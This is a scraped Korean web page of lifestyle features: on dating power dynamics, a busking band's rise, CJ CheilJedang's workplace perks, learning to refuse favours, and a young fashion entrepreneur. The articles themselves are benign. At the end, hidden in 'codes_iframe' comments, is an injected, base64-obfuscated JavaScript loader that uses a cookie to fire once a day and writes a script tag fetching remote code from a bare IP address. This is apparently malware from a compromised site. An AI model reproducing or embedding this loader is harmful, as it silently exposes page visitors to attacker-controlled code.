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- [스냅타임] '연애의 갑과 을' 관계…"이젠 그만 좀"
- (이미지=이미지투데이)"내 남자친구는 나한테 꼼짝 못해!"자신이 연애에서 주도권을 쥐고 있다는 얘기를 자랑스럽게 말하는 사람들이 있다. 이들은 상대보다 우위에 있음에 만족한다. 소위 말하는 연애에 있어 '갑'이다.실제로 많은 연인이 연애를 하며 갑과 을로 나뉘곤 한다. '전 왜 항상 연애할 때 을일까요?'라든가 '갑이 되려면 어떻게 해야 할까?' 등의 질문이 인터넷 상에서 쏟아지는 것도 이 때문이다. 허지원(24·여)씨도 마찬가지였다. 그녀의 연애는 항상 '갑'과 '을'로 나뉘었다. 그중 그녀는 항상 '을'이었다. 그녀는 항상 연애에 있어 '을'이었다."보고 싶으면 네가 우리 집 앞으로 와."대학교에 입학한 후 만났던 과 선배는 처음엔 그녀에게 모든 것을 쏟아 붓듯 하더니 100일이 채 안됐을 무렵부터 '갑'으로 변했다. 이후의 남자친구들도 비슷한 패턴이었다.줄어든 연락에 마음 졸이기 일수였고, 집 혹은 영화관이라는 단조로운 데이트의 반복이었다. 이마저도 귀찮다거나 피곤하다는 이유로 취소되곤 했다.남자친구의 단조로운 말투, 귀찮아하는 태도에 허씨는 상처 받았다. 때로는 화를 내려다가도 냉정한 남자친구가 행여나 '헤어지자'할까 속으로 삼켰다."제가 손을 놔버리면 상대는 아무렇지 않게 제 곁을 떠날 것 같아서 아무것도 할 수 없었어요. 그가 저를 무시하고 '을' 취급한다는 것을 알면서도 아무 말 못했죠."결국 사귀는 내내 '을'이었던 허씨는 그의 일방적 통보로 헤어짐을 맞이했다. '갑', '을'이 아니다, 열렬히 사랑한 자와 그러지 못한 자일 뿐보들레르는 <벌거벗은 내 마음>에서 "서로에게 홀딱 반한 두 연인이 욕정으로 가득 차 있을 때라도, 언제나 그들 중 한 사람은 더 침착하고 덜 몰두해 있는 법이다. 그 사람이 남자이건 여자이건, 수술집도의 또는 사형집행인의 역할이고 나머지 사람이 환자이며 희생자가 된다"고 말했다.그의 말대로 연애는 똑같이 사랑하기란 불가능하며, 누군가 더 사랑하는 쪽을 맡게 된다. 그래서 연애는 주도권을 갖고 있는 자, 즉, 더 많이 사랑 받는 자를 '갑'이라 지칭한다. 반대로 더 많이 사랑하는 자는 '을'이다.사람들은 '갑'이 되고자 한다. 더 사랑 받는 것이 편하기 때문에.그러나 조금 다르게 생각해보면 '갑'은 더 사랑하는 것을 두려워하는 겁쟁이이고 '을'은 열렬히 사랑할 준비가 돼 있는 용기 있는 사람이다. 언제나 연애에서 권력 관계를 형성하는 것은 상대를 사랑하는 것이 두려워 우위에 있고 싶은 '갑'이기 때문이다.누가 더 사랑하느냐, 누가 더 우위에 있느냐를 따지기 바쁜 '갑'의 연애보다 권력의 우열이 사라진 깊은 관계를 추구하는 '을'이 더 건강한 연애가 아닐까. (이미지=이미지투데이)
- [스냅타임] 버스킹은 무모한 도전?…"꿈 이루는 가장 행복한 무대"
- '너의 목소리가 보여 시즌 5'에 의정부 신치림으로 출연, 얼마 전엔 전국 투어까지 마친 밴드 가능동. 엄청난 스펙에 화려한 기획사, 오래된 경력이 뒤따라올 것 같지만 그들은 이제 막 1년 차에 접어든 27살 동갑내기 버스킹 밴드다.보컬을 맡고 있는 임근주, 바이올린의 신예찬, 드럼 조환석. 음악에 대한 열정 만으로 무작정 거리에 나섰던 동갑내기 세 사람은 이제 버스킹에서 꽤 유명한 위치까지 성장했다.오직 목소리와 기타, 드럼, 바이올린이라는 악기만으로…가능동 밴드의 탄생 왼쪽부터 보컬 임근주씨, 드럼 조환석씨, 바이올린 신예찬씨(사진=가능동 밴드)"예전부터 버스킹에 관심이 많았어요. 그날도 연습을 위해 연습실로 향했죠. 그곳에서 만났어요 이 친구들과."가능동 밴드의 보컬인 임근주, 바이올린 신예찬, 드럼 조환석은 서로 일면식도 없었지만 같은 연습실을 공유하는 사이였다. 공통점이 있다면 알고 보니 스물 일곱 살 동갑에 같은 동네에서 산다는 것과 음악에 대한 꿈이 있다는 점이었다. 세 사람은 연습실에서 종종 마주쳤고 급속도로 친해졌다.임씨는 초기 '가능동'의 탄생에 대해 "예찬(바이올린)이가 먼저 버스킹 제안을 했다"며 "어쿠스틱 노래에 현악기가 잘 어울릴 것이라 생각하고 있던 때라 흔쾌히 제안을 받아들였다"고 설명했다. 이후 조씨도 합류해 지금의 가능동이 완성됐다. 바이올린을 밴드에 접목시키다"초기 목표는 '바이올린'을 접목시키는 것이었어요."기존에 있는 밴드와 차별화됨은 물론이고 현악기를 이용하고 싶었던 임씨의 바람이 실현시킬 수 있는 가장 중요한 일이었다.물론 쉬운 일은 아니었다. 가요를 바이올린으로 표현하는 것이 생각보다 어려웠다. 임씨는 "편곡, 드럼과 보컬과의 조화 등 신경 쓸 게 한두 가지가 아니었다"며 고충을 토로했다. 이어 그는 "하지만 오랜 시간을 거듭해 한 곡씩 편곡을 완료하고 나니 바이올린의 영향력은 기대 이상이었다"며 "기존의 밴드가 나타낼 수 없는 느낌을 표현할 수 있었다"고 말했다. (이미지=스냅타임)장점은 이 뿐 만이 아니었다. 버스킹에서 흔히 볼 수 없는 악기다 보니 사람들의 시선을 끄는 역할도 톡톡히 했다. 관객이 중요한 버스킹에 있어 더할 나위 없는 최상의 궁합이었다. 이후엔 '가능동 밴드'의 심볼과 같은 요소가 됐다. 쉬지 않고 '버스킹', SNS에 퍼지면서 유명세"꾸준히 그리고 열심히 버스킹을 하다 보니 알아주는 분들이 늘어났어요."가능동은 약 두 달 간의 준비 끝에 첫 공연을 성황리에 마치고 난 후 거의 매주 거리로 나섰다. 홍대, 신촌, 의정부, 부산 해운대 등 거리 공연을 할 수 있는 곳은 모두 찾아갔다. 관객과의 호흡이 중요한 버스킹인 만큼 실전 경험보다 중요한 것은 없다고 생각했기 때문이다."지난 해 가능동 밴드의 공연을 촬영한 영상이 유튜브에 올라오면서 본격적으로 이름을 알리게 됐어요."조회수가 190만에 달하는 영상도 생겼다. 페이스북에도 신씨가 하울의 움직이는 성을 바이올린으로 커버한 영상이 2만여 개의 '좋아요'를 받으며 이슈가 됐다. '일반인의 소름 돋는 라이브' 페이지는 조회수만 75만, 공유는 4000회를 돌파했다.이들은 "우리 얼굴이 여기저기서 보이니까 신기했다"며 "지금에 이를 수 있었던 것은 SNS의 영향력이 크다고 생각한다"고 말했다.실제로 가능동 밴드가 갈고 닦았던 공연실력과 SNS라는 환경이 시너지를 일으키면서 팬이 급속도로 늘어났다. 이후엔 롯데월드, 신세계 백화점, 경인여자대학교 등 다수 행사와 축제에 참여했고 방송까지 출연했다. 버스킹으로 시작해 전국 투어에 앨범 발매까지"수상한 거리에서 연락이 왔어요. 콘서트 제의였죠."기독교문화와 대중문화를 접목한 홍대 축제를 개최하는 수상한 거리에서 가능동 밴드에게 콘서트를 제안했다. 백종범 수상한 거리 대표는 "보컬의 힘 있는 목소리와 바이올린을 접목한 새로운 구성이 눈에 띄었다"며 "좋은 뮤지션이 될 수 있을 것이라 생각해 콘서트를 제안하게 됐다"고 말했다.임씨는 버스킹만 하던 가능동 밴드의 콘서트가 가능할지 의문이었다. 그는 "우리를 보기 위해 몇 백 분이 오실까 싶었다"며 "하지만 좋은 기회라 생각해 두려움을 무릅쓰고 도전했다"고 언급했다. (사진=가능동 밴드)가능동 밴드의 콘서트는 우려와 달리 팬들의 적극적인 참여 속에서 성공적으로 이뤄졌다. 지난해 11월 3일에 처음 진행했던 '홍대시 가능동 가능동 밴드' 콘서트는 150석이 당일 매진됐다. 12월 30일에 케이아트 디딤홀에서 진행한 '가능동 밴드 콘서트'도 250석이 2회 매진됐으며 인터파크 콘서트 랭킹에서는 1위를 차지했다. 이전 콘서트의 긍정적인 결과 덕분에 올해 2월엔 전국 콘서트도 진행했다. 부산, 대구, 서울, 의정부 등 가능동 밴드가 자주 버스킹 하는 곳에서 이뤄졌다. 올해 3월 26일에는 가능동 밴드의 싱글 앨범 '장미'를 발매하기도 했다. 쉬지 않는 가능동 밴드 "망설이지 말고 도전했으면""움직이지 않고는 결과물이 나오지 않으니까요. 무작정 거리로 나섰어요."가능동 밴드는 평범한 20대 청년들이었다. 연습실에서 만난 동갑내기 친구들이 '버스킹'이라는 하나의 목표를 통해 뭉쳤고 망설임 없이 거리로 나섰다. 그 결과 가능동 밴드는 자신들만의 세계를 구축하는 데 성공했다. 이들은 "다른 사람들도 망설이지 말고 도전했으면 좋겠다"고 말했다.조씨는 "주위에 비슷한 꿈을 갖고 있는 친구들이나 동생들을 보면 버스킹 공연 전에 만반의 준비를 하려고 한다"며 "버스킹은 연습실에서 죽치고 연습하는 것보다 일단 거리에 나가는 것이 중요하다"고 강조했다.이어 임씨도"무조건 많이 해보는 것이 좋다"며 "부족하다 할지라도 부딪혀보고 무너져도 보고 하는 게 중요하고 관객과 직접 만나봐야만 버스킹을 하는 실력도 늘 수 있다고 생각한다"고 덧붙였다.현재 가능동 밴드는 콘서트와 앨범 발매에 그치지 않고 또 다른 길을 개척하기 위해 노력하고 있다. 앞으로의 목표는 '메시지'를 전하는 밴드가 되는 것이다."거리에서 듣고 멈춰 서는 밴드가 지금까지 목표였다면 앞으로는 더 나아가 우리의 메시지를 지닌 밴드가 되고 싶어요. 그게 꿈이자 목표입니다."[박희주 강의령 박새롬 인턴기자]<!--/codes_iframe-->
- [스냅타임] 식품만? 문화도 인재도 CJ제일제당
- (이미지=스냅타임)"저는 CJ제일제당 1년 차 신입사원입니다. 다른 회사에 취업한 친구들과 얘기하다 보면 회사 분위기가 많이 다른 걸 느껴요. 특히 직장 상사로부터 듣는 농담 한마디조차 신입에겐 걱정거리가 될 수 있잖아요. 저희는 그런 불편한 상황은 상상하기 어려운 부드러운 분위기예요."식품회사라 하면 꼰대 문화에 딱딱한 분위기일 것 같다는 이미지가 있다. 그중에서도 국내 식품업계 1위이자 K-Food 식문화를 선도하는 CJ제일제당은 어떤 곳일까. (사진=CJ제일제당) 해외 진출·자기계발 돕는다 전 세계 K-푸드 선두 주자인 CJ제일제당. 덕분에 많은 직원들이 해외에서 근무할 기회를 얻고 있다. 소수의 뛰어난 직원만 해외로 보내는 다른 회사와 달리 CJ제일제당은 국내 직원들의 해외 근무 경험을 장려하고 있다. 특히 자기계발 기회를 글로벌하게 지원한다는 점에서 차별화를 꾀하고 있다.'글로벌 노크(Knock)' 프로그램을 통해 어학연수·해외연수·국내 어학원 등 직무·역량개발을 목적으로 3~12개월간 직원들에게 휴직을 지원하고 복직도 보장한다. 외부 어학 강사를 초청한 무료 사내 어학 과정도 있다. 직원들은 아침·점심·저녁·주말 등 다양한 시간대의 강의를 자유롭게 선택할 수 있다.해외 출장서 업무만 보고 돌아오기엔 아쉽기 마련. 그런 직원들에게 '글로벌 인사이트(Insight)' 프로그램을 통한 해외 문화 탐방 기회를 준다. 연차를 해외 출장 앞뒤로 붙여 쓰게 해주고 돌아오는 경비는 회사에서 지원한다.직장인들의 로망인 '해외에서 한 달 살기'까지도 가능하다. 직원들은 입사 후 5년마다 2주의 유급휴가를 쓸 수 있는데 연차를 연달아 사용한다면 최대 4주간 휴가를 사용할 수 있다. 덕분에 곧 4주 동안 태국으로 여행 가는 직원도 있고, 알래스카에 다녀올 계획인 직원도 있다. 또한 10년 차 이상 직원부터는 5년마다 휴가비도 100만원 이상 지원해준다. (이미지=이미지투데이) 우리 인재는 확실하게! CJ제일제당은 인재양성에 애쓰는 회사다. 신입사원은 입사 후 CJ그룹 차원의 입문교육을 마친 뒤 CJ제일제당 교육에 들어간다. 이때 브랜드 매니저들이 CJ제일제당의 수많은 제품과 부서에 대해 설명해준다.신입사원들은 5주 동안 사업 역사와 조직, 브랜드와 제품에 대한 기본적인 교육 외에도 직접 참여하는 프로젝트형 콘텐츠를 통해 조직생활에 적응한다.특정 국가와 제품 카테고리를 선정해 글로벌 진출 전략을 짜는 '글로벌 스트레티지 컴피티션(Global Strategy Competition)' 프로그램을 통해 핵심 인재로 성장할 수 있는 기회도 발돋움할 수 있다. 또 제일제당의 비전과 브랜드, 신입사원으로서의 다짐 등을 광고·영화·패러디·뮤직비디오 형태로 만드는 'We Love CJ제일제당'에 참여하며 회사에 대한 소속감과 동기애를 느낄 수도 있다.또 입사 후 한달 동안 '온리원 페어(ONLYONE FAIR)'를 열어 신입사원들이 직접 낸 아이디어를 발표한다. 수상한 직원에겐 해외 연수 기회가 주어진다. 'ONLYONE FAIR'에서 나온 아이디어는 실제로 사업으로 연계되어 출시되기도 한다. 이건 몰랐지? 분위기도 자유롭다고! CJ제일제당에서는 업무 시간 중에 영화나 야구를 보러 갈 수 있다. 최근엔 삼삼오오 모여 우쿨렐레를 치러 간 직원들도 있다. 선후배 관계와 부서에 구애받지 않고 직원들이 서로 편하게 지낼 수 있도록 한 '소확행' 프로그램 덕분이다. 어디서 뭘 해도 좋다.후배들이 함께 놀고 싶은 리더를 고르면 리더가 함께 시간을 보내는 '00님이 쏜다' 프로그램도 있다. 평소보다 더 일상적이고 개인적인 시간을 공유할 수 있다. 중요한 점은 '퇴근 후'가 아니라는 것이다. 근무 시간 중이기 때문에 퇴근 후 개인의 시간을 뺏기거나 과음을 할 걱정도 없다. (이미지=이미지투데이) "휴가 제도가 다양하면 뭐해. 대기업 다니면 쓸 시간도 없고. 눈치도 보여서 잘 못 쓰지 않아?"전혀 그렇지 않다. CJ제일제당에서는 휴가를 장려한다. 연휴 중 국가가 대체공휴일로 지정하지 않는 애매한 날도 징검다리 휴일로 만들어 준다. CJ제일제당만의 '골든브릿지' 휴일이다. 모든 직원이 그날은 휴무다. 미리 연휴에 포함해서 휴가를 계획하라고 아예 연초에 전사적으로 공지한다.대표이사부터 직원들에게 휴가를 얼른 쓰라고 장려하기 때문에 여타 기업처럼 "넌 왜 선배가 쉬기 전에 쉬냐" "오래 놀다 오니 일 적응 안 되냐" 등 잔소리를 들을 일이 전혀 없다. 빠짐없는 복지까지1년에 75만원의 포인트로 직원들의 자기계발도 돕는다. 학원 비용이나 여행 경비뿐 아니라 쇼핑에도 사용할 수 있다. 특히 해외 호텔 예약 때 빛을 발한다. 제휴 호텔을 예약하면 원래 가격의 5분의 1 정도만 내가 부담하면 된다.CJ 전용 신용카드인 '임직원 카드'로 올리브영, 일부 프리미엄 매장을 제외한 CJ푸드빌 외식 브랜드, CGV 등에서 월 한도 내 최대 40% 할인 혜택을 받을 수 있다. 월 한도는 50만원인데 외식업체와 올리브영, 영화관이 각각 따로다. CJ제일제당 지하 1층(사진=스냅타임)임직원 카드의 모든 할인 혜택은 항상 중복할인이 된다. 시기만 잘 노린다면 필요한 생필품·화장품을 80%이상 할인된 가격에도 살 수 있다! (나도 CJ다닐래...) 사옥 지하에도 푸드빌 계열사 음식점과 커피전문점, 올리브영이 있어 퇴근 후 혹은 점심시간에 방문할 수 있다. 와인이나 플라워 샵도 있다. Olive market이 있어 다른 대형마트에서 장 볼 필요도 없다. 이외에도 자유로운 휴식 공간, 사내 병원, 피트니스 센터, 사내 어린이집까지 복지 시설은 모두 갖췄다. 왼쪽 위 부터 시계방향으로 휴게공간, 사내 병원, 피트니스 센터, 사내 보육시설 (사진=스냅타임)해외 진출 기회도 많은데 다 확실한 인재 양성까지 책임진다. 거기다 사내 분위기와 복지 제도까지 빠지지 않는 CJ제일제당. 항상 대학생들이 가고 싶어하는 기업 상위권에 자리매김하는 이유가 분명했다.[박새롬, 정다운 인턴기자]
- [스냅타임] 조금은 싸가지 없어도 괜찮아
- (이미지=이미지투데이)"(이)윤호, 요즘 변했어. 예전엔 진짜 착했는데... 싸가지 없어졌어."건너 건너 들은 얘기다. 이씨가 얼굴 좀 보자는 친구의 연락에 '피곤하다'고 거절했던 날, 친구가 다른 이에게 이씨의 험담을 했다는 내용이었다.이씨는 친구가 왜 자신을 험담했는지 이해했다. 과거엔 부탁하면 뭐든 들어줬던 이씨가 최근 들어 '거절'을 하기 시작했기 때문이다. 거절할 줄 몰랐던 그 남자본래가 그랬다. 그에게 있어 '거절'이란 다른 사람에게 상처를 줄 수도 있는 행위, 미움 받는 행위였기 때문이다.그래서 이씨는 거절하지 않았다.친구의 갑작스러운 연락에 '피곤하니까 쉬겠다' 말하려다가도 미안한 마음에 몰려오는 피곤함을 외면하고 술집으로 향했고, 잘 모르는 일이어도 부탁을 받으면 혼자 머리를 싸매고 도와주기 위해 노력했다. 다른 사람의 기분을 상하게 하지 않기 위해 피해를 조금 감수한다거나, 무조건적인 'YES맨'이 됐던 것도 같은 이유에서였다. (이미지=이미지투데이)그런데 그런 이씨에게 돌아온 것은 그의 호의를 당연한 일처럼 생각하는 사람뿐이었다."그들은 저처럼 YES맨이 아니니까요. 제 부탁은 잘만 거절하면서 정작 제가 그들의 부탁을 거절할 땐 큰 일이라도 생긴 마냥 당황해 하더라고요. 그때 알았죠. 내가 다른 사람들한테 너무 맞춰주면서 살았구나. 그들은 나만큼 다른 사람을 생각하지 않는구나. 그리고 내가 이렇게 한다고 해서 고마워하는 게 아니구나." 싸가지 없어지기로 했다"생각해보면 누가 강요한 일은 아니잖아요. 저 혼자 남 신경 쓰느라 호구짓 한 거죠, 뭐."그의 말대로 누구도 그에게 무조건 나오라 하고, 일을 떠맡아 달라고 강요하지 않았다. 다른 사람들을 너무 의식했던 탓에 자신을 희생하면서까지 호의를 베풀었던 것은 이씨 자신이었다.호의가 반복되면서 이를 당연하게 여기는 사람들이 생겨났고 이씨는 자연스럽게 도움이 필요할 때 찾게 되는 사람이 돼 있었다."모든 사람에게 착한 사람이 되려고 노력하다 보니 저 자신한테는 아주 나쁜 사람이 돼 있더라고요. 쉬어야 하는데 몸을 혹사하고, 호의를 베풀면서 혼자 스트레스 받고."그래서 그는 조금 싸가지가 없어지기로 했다. (이미지=이미지투데이)지금의 이씨는 본인이 싫은 일은 더 이상 하지 않는다.얼마 전 한밤중에 걸려온 친구의 전화에 "오늘은 피곤하니까 집에서 쉴게"라고 말했고 자신이 맡은 업무 외에 일들은 유도리 있게 거절했으며, 원치 않는 회식 자리에 끝까지 남아 있지 않는다.그랬더니 생활이 편해졌다. 비록 변했다거나, 싹수 없다는 소리를 들을 때도 있지만 매일 자신을 쫓아 다녔던 피곤함이 없어졌다. 남의 눈치를 안 보니 정신적인 스트레스도 줄었다."싸가지가 없어야 사회생활이 편하다는 말이 있잖아요. 맞는 말 같아요. 남의 기분을 신경 쓰느라, 맞춰주느라 정작 자신을 돌보지 못했던 생활이 조금 편해졌어요. 저처럼 다른 사람 생각하느라 착하게 굴었던 분들이 계신다면 조금은 싸가지 없어도 괜찮다고 말하고 싶어요."
- [스냅타임] "붕어빵 스펙쌓기 만으로는 성공 못하죠"
- (이미지=스냅타임)시현진(26·남)씨는 2018년 스트릿·캐주얼 의류 브랜드 ‘PARODY’를 설립했다. ‘2012 솔로대첩’에서 핫팩을 팔던 장사꾼이 창업의 꿈을 이루고 대표가 됐다. ‘PARODY’는 론칭 후 한달이 채 지나기 전에 스타일쉐어 외 5개의 유명 온라인숍에 입점했다.대학 시절 그는 서울 강남이나 노량진에서 성공을 찾고 싶지 않았다. ‘토익을 공부하거나 자원봉사를 하는 대신, 세계를 누비며 영어로 직접 말해보고 난민들을 도우면 되지 않을까’하는 생각으로 ‘세계여행 인생성공 프로젝트’를 실행에 옮겼다. 여행 중 그는 중국 기업의 이사·두바이 왕가 사람들과 장사를 하며 청년 장사꾼으로서 자신만의 성공 계획을 하나씩 실현해 나갔다. (이미지=스냅타임)창업의 꿈을 어떻게 키우게 됐나?'PARODY’의 대표이자 장사꾼 시현진입니다. 저는 어렸을 때부터 바깥세상에서 살고 싶었어요. 고등학생 때 집 앞 5분 거리에서 자취를 할 정도였으니까요.그래서 회사에 구속되지 말고 내가 대표를 하자 결심했어요. 고등학교 졸업식에서 제가 직접 꽃을 판매할 정도로 매일 어떤 것으로 장사할 수 있을까 고민했죠.세계여행 중 각국의 사람들과 사업을 진행하면서 시장을 읽고자 했어요. 한국에 돌아와 전 세계적으로 관심이 많은 의류 시장에 뛰어들었고 ‘PARODY’를 완성했죠. (이미지=스냅타임)세계여행 인생성공 프로젝트가 뭔가?모든 인종, 모든 문화의 사람과 사업을 진행해볼 좋은 기회였어요. 두바이에서는 차 번호가 낮을수록 지위가 높거나 부자인 사람이에요. 그 차에서 사람이 내리면 무작정 따라갔죠. 그 사람에게“나는 한국에서 온 대학생이고, 세계여행을 통해 인생성공을 배우고 있다”며 황금색 트리볼에 싸인을 받았어요. 그 싸인볼을 시장에 팔았는데 반응이 정말 좋았죠. 대만에서 'cathay life'에게 부동산 자문을 해줬어요. 그때 이사가 자기 회사에서 일해보지 않겠냐고 얘기한 적도 있었죠. 다양한 사업을 하면서 실패한 적도 있지만 성공할 때마다 제 능력을 인정받는 것 같아서 기분이 정말 행복했어요.대학생이나 취준생이라면 토익·자원봉사·대외활동을 하잖아요. 남들과 다 똑같다면 아무도 제 물건의 매력을 느낄 수 없을 거로 생각했죠. 여행을 마치고 돌아왔을 때 확신했어요. 제가 만들 의류 브랜드의 성공을.물론 프로젝트는 지금도 진행 중이에요. ‘PARODY'를 세계 곳곳에 알리고 싶어요. (이미지=PARODY 홈페이지)의류를 선택한 이유가 있나?모든 문화를 아우르는 것을 만들고 싶었어요. 세계여행을 다니면서 아바야·치파오·기모노처럼 각 나라를 대표하는 의류를 다 보게 됐어요. ‘옷이란 결국 소속감이고 언제까지나 필요한 것이다.’ 생각했죠.제가 만든 브랜드가 어떤 사람이든 다 포용할 수 있다면, 그보다 더한 성공은 없다 싶었어요. 언젠가 제 옷을 파리·뉴욕·도쿄의 패션쇼에 세울 거에요. (웃음) (이미지=스냅타임)도전이 어려운 청춘에게 한마디“3포 아닌 3득 하세요”요즘 많은 사람이 삶의 행복을 포기하는 것이 너무 안타까워요. 고등학생이면 수험공부 하느라, 대학생이면 취업준비 하느라 취미·연애·휴식에서 멀어져요. 더 잘 살기 위해 행복을 포기해야 하죠.그런데 저는 오히려 세계여행을 통해 다 가지려고 하니까 길이 열렸어요. 손에서 하나씩 놓을 때마다 잡고 있던 꿈으로 향하는 밧줄도 점점 느슨해지는 것 같아요. 하나라도 더 가지려는 순간 한 발 더 갈 수 있어요. 모든 청춘이 사랑·꿈·여가 모두 가졌으면 좋겠어요.<!--/codes_iframe--> <!--codes_iframe--> {var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->